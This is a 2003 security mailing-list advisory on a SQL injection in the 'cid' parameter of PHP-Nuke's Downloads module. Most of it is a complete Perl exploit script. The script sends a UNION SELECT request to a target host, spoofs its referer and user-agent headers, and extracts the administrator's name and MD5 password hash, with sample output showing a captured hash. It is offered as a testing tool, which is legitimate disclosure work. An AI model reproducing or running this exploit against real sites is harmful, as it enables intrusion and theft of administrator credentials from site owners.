[EXPL] PHP-Nuke 'cid' SQL Injection

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To: list@securiteam.com
Date: 24 Dec 2003 15:07:34 +0200

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  PHP-Nuke 'cid' SQL Injection
------------------------------------------------------------------------

SUMMARY

PHP-Nuke contains an exploitable SQL injection vulnerability that can be
used by attackers to cause the system to execute arbitrary SQL statements.
The following exploit code can be used to test your system for the
mentioned vulnerability.

DETAILS

Vulnerable systems:
 * PHP-NUKE version 6.9 and prior

Exploit:
#!/usr/bin/perl -w
use IO::Socket;

########################################
## THIS CODE PUBLIC NOW =))) ##
########################################
## __________ ___ ___ ##
## \______ \__ __ ______/ | \ ##
## | _/ | \/ ___/ _ \ ##
## | | \ | /\___ \\ / ##
## |____|_ /____//____ >\___|_ / ##
## \/ \/ \/ ##
########################################
## based on 'cid' sql injection vuln
## in Download module, more info about
## this vuln u can see here:
## http://rst.void.ru/texts/advisory10.htm
########################################
## work only on mysql version > 4.0
########################################
## tested on PHP-Nuke versions: 6.9, 6.0, 6.5
## C:\>r57phpnuke.pl 127.0.0.1 /phpnuke/ admin
##
## server : 127.0.0.1
## folder : /phpnuke/
## aid : admin
##
## [~] prepare to connect...
## [+] connected
## [~] prepare to send data...
## [+] success
## [~] wait for reply...
## [+] w00t...
## [+] USER: admin
## [+] MD5 HASH: 5f4dcc3b5aa765d61d8327deb882cf99
##
########################################

if (@ARGV < 3)
{
print
"################################################################\n";
print " r57nuke-cid.pl - PHP-NUKE 'cid' sql injection exploit\n";
print " by RusH security team // www.rsteam.ru , http://rst.void.ru\n";
print " coded by 1dt.w0lf // r00t\@rsteam.ru // 17.09.2003\n";
print
"################################################################\n";
print " Usage:\n";
print " r57nuke-cid.pl <host> </folder/> <aid>\n";
print "\n";
print " <host> - host for attack\n";
print " </folder/> - PHP-nuke folder ( /phpnuke/ , /nuke/ or / for no
folder )\n";
print " <aid> - user aid , nick ( admin , blabla )\n";
print
"##################################################################";
exit();
}

$server = $ARGV[0];
$folder = $ARGV[1];
$aid = $ARGV[2];

print "\n";
print "server : $server\n";
print "folder : $folder\n";
print "aid : $aid\n";
print "\n";
$success = 0;
$path_download =
"modules.php?name=Downloads&d_op=viewdownload&cid=2%20UNION%20select%20counter,%20aid,%20pwd%20FROM%20nuke_authors%20--";
$GET = $folder . $path_download;
print "[~] prepare to connect...\n";
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server",
PeerPort => "80") || die "[-] connect failed\n";
print "[+] connected\n";
print "[~] prepare to send data...\n";
print $socket "GET $GET HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Http-Referer: http://microsoft.com\n";
print $socket "User-Agent: Internet Explorer 6.0\n";
print $socket "Pragma: no-cache\n";
print $socket "Cache-Control: no-cache\n";
print $socket "Connection: close\n\n";
print "[+] success\n";
print "[~] wait for reply...\n";
while ($answer = <$socket>)
{
 #print "$answer";
 if
($answer=~/(&cid=)(\w)(\"><b>)($aid)(<\/b><\/a><\/font>)(.{0,20})(<font
class=\"content\">)(.{32})(<\/font>)/)
 {
 $success = 1;
 print "[+] w00t...\n";
 print "[+] USER: $1 \n[+] MD5 HASH: $6\n";
 }
}
if ($success == 0) { print "[-] exploit failed =(\n"; }

ADDITIONAL INFORMATION

The information has been provided by <mailto:r00t@rsteam.ru> r00t.

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